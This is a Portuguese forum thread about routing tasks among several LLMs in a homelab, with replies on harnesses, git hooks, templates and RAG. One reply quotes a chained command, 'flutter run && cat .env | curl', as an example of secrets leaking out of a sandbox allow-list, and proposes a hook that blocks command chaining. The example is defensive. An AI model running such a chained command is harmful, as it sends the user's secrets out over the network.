Roteando LLMs por tarefa: como faço 4 LLMs trabalharem juntos

Quando comecei a montar meu homelab de IA, uma das coisas que mais me consumiu tempo foi testar modelos.

Eu baixava modelos, fazia testes, comparava resultados e acompanhava recomendações da comunidade tentando descobrir qual seria a melhor opção para usar no dia a dia.

Embora existam modelos especializados para diferentes tarefas, eu tinha um motivo bastante prático para procurar um único modelo “coringa”. Como meu ambiente local possui recursos limitados, especialmente VRAM, trocar manualmente de modelo a cada atividade rapidamente se tornou algo inconveniente. Eu queria encontrar uma opção que fosse suficientemente boa na maioria dos cenários.

Com o tempo, porém, ficou claro que minhas necessidades mudavam dependendo da tarefa. Um modelo que funcionava muito bem para análise de documentos nem sempre era a melhor escolha para programação, brainstorming ou troubleshooting.

Foi então que percebi que estava fazendo a pergunta errada. Em vez de procurar “o melhor modelo geral”, passei a pensar em qual modelo é melhor para cada tarefa.

O problema é que fazer essa escolha manualmente o tempo todo também não era uma solução muito prática.

Foi nesse momento que os sistemas de roteamento começaram a chamar minha atenção. Eles me permitiam continuar utilizando modelos especializados, mas sem a necessidade de trocar manualmente entre eles a cada nova solicitação.

O que é um roteador de modelos?

Um roteador de modelos é uma camada intermediária que analisa a solicitação do usuário e escolhe qual LLM deve responder.

Em vez de selecionar manualmente entre vários modelos instalados, você conversa com um único ponto de entrada e o sistema encaminha cada tarefa para o modelo mais adequado.

A lógica pode ser simples, baseada em palavras-chave, ou mais avançada, utilizando classificação semântica e agentes especializados.

Por que isso faz sentido?

O benefício mais evidente é a qualidade dos resultados. Se você possui um modelo excelente para análise documental e outro muito melhor para programação, não faz sentido utilizar apenas um deles para tudo.

Mas durante meus testes percebi outro benefício importante: economia.

Hoje utilizo um ambiente híbrido, combinando modelos locais com serviços em nuvem. Antes do roteamento, era comum eu enviar tarefas relativamente simples para modelos cloud apenas por conveniência. Depois de automatizar a escolha dos modelos, boa parte dessas demandas passou a ser resolvida localmente.

Algo semelhante a isto:

Tipo de tarefa Destino recomendado
Resumos e consultas rápidas Modelo local
Análise de documentos Modelo local
Brainstorming e geração de ideias Modelo local
Programação complexa Modelo especializado
Revisão crítica final Modelo premium em nuvem

A economia varia bastante de acordo com o fluxo de trabalho de cada pessoa. No meu caso, desde que comecei a utilizar roteamento, consegui reduzir aproximadamente 50% do uso de modelos cloud na minha rotina, mantendo uma qualidade de resposta muito próxima daquela que eu obtinha anteriormente.

Exemplo do meu laboratório

Outro benefício que descobri durante esse processo foi a melhor utilização do hardware disponível.

No meu caso, trabalho com uma GPU de 16 GB de VRAM. É uma configuração capaz de rodar modelos bastante competentes, mas que naturalmente impõe limites sobre o tamanho dos modelos que posso utilizar localmente.

Quando percebi isso, comecei a pensar menos em “qual é o maior modelo que consigo rodar” e mais em “como posso combinar diferentes modelos para aproveitar melhor os recursos que já tenho”.

Hoje estou utilizando uma divisão semelhante a esta.

Modelo Funções Principais Descrição
Qwen 3 14B Leitura de documentos, análise de conteúdo, síntese de informações, comparações, compreensão de contexto Ideal para ingestão e análise inicial de grandes volumes de texto, extração de dados e síntese de conteúdo complexo.
GPT-OSS 20B Revisão de análises, validação de conclusões, identificação de inconsistências, refinamento de respostas Foco em aprimorar, criticar e validar resultados prévios com alta precisão e coerência.
Gemma 4 12B Brainstorming, geração de títulos, nomes, campanhas, exploração de novas ideias Modelo especializado em tarefas criativas, expansão de listas e geração de propostas inovadoras.
DeepSeek Coder V2 Programação, Linux, Docker, Kubernetes, DevOps, automação, troubleshooting Otimizado para tarefas técnicas, como desenvolvimento de código, infraestrutura e resolução de problemas de sistemas.

Naturalmente, essas escolhas refletem minhas necessidades atuais e podem ser diferentes das suas. Parte da diversão de montar um laboratório de IA está justamente em testar combinações e descobrir quais modelos funcionam melhor para cada cenário.

Vale a pena?

Na minha experiência, sim. Depois de muitos testes com modelos locais, diferentes quantizações e vários experimentos tentando equilibrar qualidade, velocidade e custo, o roteamento foi uma das mudanças que trouxe mais impacto prático para o meu ambiente.

Não porque tornou os modelos individualmente melhores, mas porque me permitiu utilizar cada um deles naquilo em que realmente se destaca.

Conforme a quantidade de modelos disponíveis continua crescendo, acredito que o roteamento deixará de ser um recurso avançado e passará a fazer parte da configuração padrão de qualquer ambiente que utilize múltiplas LLMs.

Se você já possui vários modelos instalados e ainda escolhe manualmente qual usar em cada conversa, talvez valha a pena experimentar um roteador.


Documentação oficial para implementação:

:vulcan_salute:

10 curtidas

A proposta de dividir tarefas entre diferentes LLMs é prática.
O que me chamou atenção foi o ponto sobre custo de coordenação: será que o ganho de especialização compensa o overhead de integrar quatro modelos?

Seria interessante ver benchmarks comparando essa abordagem com o uso de um único modelo mais robusto.

2 curtidas

Na minha experiência, misturar modelos hoje cai em micro-gestão, mas não quer dizer que não compensa. Se você vai repetir um mesmo projeto com sabores diferentes, ai vale a pena investir em algo assim.

2 curtidas

Vocês dois têm razão sobre um custo extra visível para um ganho difícil de medir - conforme avanço nos meus experimentos essa conclusão me parece cada vez mais certa.

Depois de testar este ambiente por algum tempo, meu lab atual já caiu de 4 modelos locais para só 2 (um geral + um para código) - exatamente porque ficar trocando de modelos o tempo todo gasta tempo útil.

Logo devo publicar mais alguns aprendizados sobre isso.

:vulcan_salute:

2 curtidas

Um problema que eu vejo em misturar agentes é que isso pode desviar o desenvolvedor da otimização que importa mais. Trocar “over-revisar” por harness melhor costuma ser mais eficiente, afinal, se você erra menos, você gasta menos tempo revisando e corrigindo.

2 curtidas

A ideia “ter o melhor de cada modelo” me pareceu realmente muito boa no começo porque como meu foco é redação, a forma particular como os modelos apresentam o conteúdo podem ser mais útil em estágios específicos do processo.

Dando um exemplo anedótico: na ideação tenho gostado muito do Gemma4, mas, o Qwen3.x me agrada mais na fase de revisão.

Para códigos, geralmente o Qwen3.x resolve meu problema mas o DeepSeek conseguiu resolver algumas coisas usando menos iterações que o Qwen.

Ainda estou na fase de experimentação intensa, tem sido um tempo de aprendizados interessantes.

:vulcan_salute:

2 curtidas

Entendo. Eu não posso falar por estilo de escrita, mas minha recomendação é que você de uma experimentada real com harness (skills, workflows, hooks, etc), mesmo para a parte de redação. A ideia é que, se você já sabe a qualidade que quer, documentar, gerar exemplos, metodologias para testar essa qualidade, é o caminho, o modelo vai puxar isso para o contexto e usar para ficar nos trilhos.

Trabalhando com base de códigos de ~10 mil linha pra cima, eu diria que Qwen 3.5 pra cima já consegue resolver algo, no sentido de que “entrega algo com que trabalhar”, mas claro, se vai precisar de muito ou pouco ou nenhum retrabalho, são outros 500, mas no geral, funciona.

Os modelos maiores são sobre menos retrabalho mesmo, você observa muito uso de boas práticas, sem ter que detalhar muito a arquitetura no harness. Práticas melhores de QA de software, coisas como um view model que não conhece a GUI, não exposição de secrets, mais frequentemente classes genuinamente com responsabilidade única, coisas como value objects, entidades, mappers e afins aparecendo no código sem que você precise especificar.

2 curtidas

Acho que entendi seu ponto e esse é exatamente o próximo passo.

Hoje eu já estou usando alguns modelos estruturados dentro do RAG e também comecei a deixar os fluxos mais organizados para cada tipo de atividade. O que ainda falta amadurecer é justamente essa camada de harness, com arquivos mais especializados, objetivos e fáceis de puxar para o contexto certo.

Agora já estou passando da fase de “qual modelo responde melhor” e entrar mais na fase de otimizar o ambiente ao redor dos modelos. Especialmente porque, para redação e revisão, eu já tenho uma noção bem clara do tipo de resultado que estou buscando.

Então faz bastante sentido transformar isso em instruções menores e mais operacionais, em vez de depender só de prompts longos ou do comportamento individual de cada LLM.

:vulcan_salute:

2 curtidas

Sim, por exemplo, muita gente perde tempo tentando tirar leite de pedra, mas não existe LLM deterministico hoje. Não importa quão cristalina seja a skill sobre estas regras, existe uma probabilidade do modelo alucinar, mesmo que seja pequena.

Se você quer que o seu modelo escreva o titulo de um commit com um padrão que você consegue validar via código, use um hook no git. Um exemplo bobo:

#!/usr/bin/env bash

commit_msg="$1"

pattern='^(feat|fix|docs|style|refactor|test|chore)(\([^)]+\))?: .+'

if ! [[ "$commit_msg" =~ $pattern ]]; then
  echo "Mensagem de commit inválida. O título não indica tipo válido de task."
  exit 1
fi

Outro exemplo. Digamos que você usa sandbox, você é esperto e sabe está usando sandbox pois sabe que, no sandbox, pode não só impedira IA de ler o seu .env, pode impedir qualquer comando de terminal de ler .env.

Só que você quer permitir algum comando inofensivo que precisa rodar fora do sandbox para funcionar, por exemplo flutter run *. Esse pattern abre espaço para coisas maliciosas rodarem fora do sandbox, por exemplo:

flutter run && cat .env | curl.... e lá se foi os seus secrets pela rede…

você pode criar um hook na sua ferramenta de IA (claude code, etc) que roda obrigatóriamente antes de qualquer comando que o seu modelo tenta dar e verifica 2 coisas:

  1. esse comando é do tipo que conseguem rodar fora do terminal?
  2. se for, e encontrar qualquer tipo de encadeamento (|, >, < &&, ;, ||, ($ ...), etc), cancela e devolve alguma mensagem de erro.

E óbviamente, com ajuda da IA faça uma bateria de testes bem boa para validar esse hook

2 curtidas

É interessante conhecer um pouco mais sobre os desafios de programação, porque ajuda a perceber que vários problemas acabam sendo bem parecidos, mesmo quando aparecem de formas diferentes.

No meu caso, como o foco principal é redação, um dos maiores desafios é manter a coerência entre peças diferentes — tipo artigos, roteiros, campanhas, posts e chamadas. E, claro, também tem a preocupação constante de evitar ao máximo invenções ou afirmações meio frágeis.

Nesse contexto, a revisão já faz parte do processo, justamente pra garantir que o conteúdo está cumprindo o objetivo certo, respeitando o tom do projeto e não fugindo da proposta original. Em certo sentido, isso se aproxima bastante do que acontece em programação, só que a validação nem sempre é tão objetiva quanto um hook, um teste automatizado ou uma regra de sintaxe.

Até aqui, tive bons avanços criando guias de estilo específicos pra cada projeto e, quando faz sentido, usando bases com exemplos reais. Pra roteiros de vídeo, por exemplo, comecei a montar um banco de frases transcritas pra ajudar o ambiente a entender melhor como certas construções precisam soar e como a lógica da fala costuma se encadear.

É curioso como essas ferramentas conseguem reproduzir trejeitos, ritmo e escolhas de linguagem com bastante precisão quando recebem contexto suficiente. Ainda não elimina a necessidade de revisão, mas já reduz bastante o retrabalho e ajuda o modelo a ficar mais próximo do padrão esperado.

:vulcan_salute:

2 curtidas

Sim, quando o assunto é mais texto natural mesmo e não desenvolvimento, não tem muita saída, o problema é simplesmente semântica mesmo, então tem muito pouco lugar para você se abrigar no determinismo.

Pegando um pouco minhas experiências na parte de documentação e gestão de projeto, acho que você pode tirar proveito de algumas coisas que costumo usar. Uma eu vi que você já usa que seria ter uma espécie de “linha de montagem” de estados da tarefa. No desenvolvimento é comum a gente ter algum fluxo tipo triagem → Backlog → em andamento → revisão → teste → entrega → pronto

Templates

Além de exemplos, você pode ter markdowns ou yamls no mesmo estilo dos templates de pull request e issue que costumamos gerar no github, que meio que são formulários para guiar o processo de submissão de issue, etc.

# <titulo>

## Introdução

<!---
descrição de como construir a introdução, o que pode, o que não pode ter, etc...
-->

Metadados

Arquivos de metadado que acompanham o artigo, por exemplo, meta.yaml, nesse arquivo você consegue manter algumas coisas mais formais e rígidas, como status, data, referências, categoria de assunto, etc

Um bom layout

Por exemplo, quando eu trabalho em alguma tarefa, eu já tenho definido na minha skill de workflow de contribuição um layout especifico:

```text
braindump/issues/<slug>/              ← enquanto é só draft (sem número de issue)
  task-metadata.yaml                  ← campos de issue + projeto (fonte local)
  issue.md                            ← corpo da issue (sem frontmatter)
  plan-research.md                    ← investigação/diagnóstico; vivo, alimenta o plano
  plan.md                             ← plano de implementação (cópia do plan mode aprovado)
  pull-request.md                     ← corpo do PR; criado no estágio de PR
  resources/                          ← anexos extras da tarefa (opcional): planilhas, imagens, mockups, dumps
    obs.md                            ← notas sobre os anexos: o que foi escolhido/descartado e por quê, o que está defasado, duplicações, origem/validação

Enfim, estas coisas podem ajuda a manter a IA nos trilhos, no geral se você parar para ver é o mesmo processo típico de gestão de equipes de trabalho, você cria um padrão de trabalho previsível, todos sabem o que esperar, onde se achar, como prosseguir pegando o trabalho de outra pessoa, surgem menos momentos “WTF foi feito aqui?”, :sweat_smile: coisas assim.

Algumas destas práticas vem de ramos formais de engenharia de software, CMMI (Capability Maturity Model Integration) e Artifact-driven pipeline por exemplo

2 curtidas

Muito obrigado pelas dicas, me deram ideias para alguns testes aqui.

Acredito que meu background de infra tem me ajudado bastante nesse processo, porque estou acostumado a documentar redes, serviços e sistemas complexos. Essa necessidade de tornar projetos legíveis e minimamente previsíveis acaba me acompanhando em outras tarefas também.

Hoje eu já uso uma estrutura simples dentro do meu framework, basicamente com alguns arquivos em Markdown para títulos, padrões de escrita, estrutura de conteúdo e padrões de fala, além de uma coleção do que eu considero “bons títulos”. Ainda é algo relativamente simples, mas já ajuda bastante a dar contexto para o modelo e manter uma linha editorial mais consistente.

Principalmente essa skill de workflow que você deu como exemplo, é algo que hoje está meio implícito no meu processo, mas quero testar como a LLM se comporta tendo um documento específico para se pautar. Acho que pode ser um bom próximo passo para transformar o que hoje depende muito da minha condução manual em algo mais claro e repetível.

Talvez a maior diferença entre nossos fluxos hoje é que me parece que você já está com um modelo agêntico maduro funcionando, enquanto eu ainda estou alguns passos atrás tentando organizar uma estrutura previsível.

Eu tive esse mesmo pensamento. Colocar a LLM para fazer as coisas tem sido um processo muito parecido com algumas vezes em que treinei novos membros da equipe. Você está diante de um ótimo potencial, mas precisa direcionar da forma correta para não desperdiçar energia, não criar retrabalho desnecessário e não esperar que a pessoa, ou o modelo, adivinhe sozinho todos os critérios que estão claros apenas na sua cabeça.

:vulcan_salute:

2 curtidas

Outro aspecto que pode te ajudar, que eu vi que você mencionou RAG. Eu só te diria para testar RAGs muito mirabolantes, com chunk embedding, DB de vector data e afins com uma certa pitada de sal.

Se a base de informação com que você trabalha é hostil para com buscas estruturadas simples (grep, grafos e index mais simplistas) e você tem total liberdade para melhorar a base de informação, a melhor aposta seria tornar a sua base melhor adaptada a busca estruturada, e por consequência, AI e low-context friendly, não tentar amenizar o fato de que a matéria prima é ruim, colocando um RAG em cima.

Por exemplo, o papo de metadados, um lugar para informação mais rígida e catalogável.

No meu contexto de trabalho, que é código, isso as vezes fica muito claro, sabe, aquele velho papo de Clean Code do Uncle Bob. Incentivar arquivos e funções pequenas (ter classes com responsabilidade única, não se repetir) nomes que tenham significado relevante (grep vai devolver coisa útil para a IA assim), tipos explícitos no código, testes, documentação.